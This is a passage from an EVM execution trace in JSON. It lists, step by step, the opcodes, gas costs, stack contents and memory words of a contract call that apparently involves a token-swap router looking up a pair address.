0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2823,"op":"SHL","gas":100827,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2824,"op":"SUB","gas":100824,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2825,"op":"AND","gas":100821,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2826,"op":"PUSH4","gas":100818,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2831,"op":"DUP11","gas":100815,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2832,"op":"DUP11","gas":100812,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2833,"op":"PUSH1","gas":100809,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2835,"op":"DUP2","gas":100806,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2836,"op":"DUP2","gas":100803,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2837,"op":"LT","gas":100800,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2838,"op":"PUSH2","gas":100797,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2841,"op":"JUMPI","gas":100794,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0","0x1","0xb21"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2849,"op":"JUMPDEST","gas":100784,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2850,"op":"SWAP1","gas":100783,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2851,"op":"POP","gas":100780,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2852,"op":"PUSH1","gas":100778,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2854,"op":"MUL","gas":100775,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2855,"op":"ADD","gas":100770,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2856,"op":"PUSH1","gas":100767,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2858,"op":"DUP2","gas":100764,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc91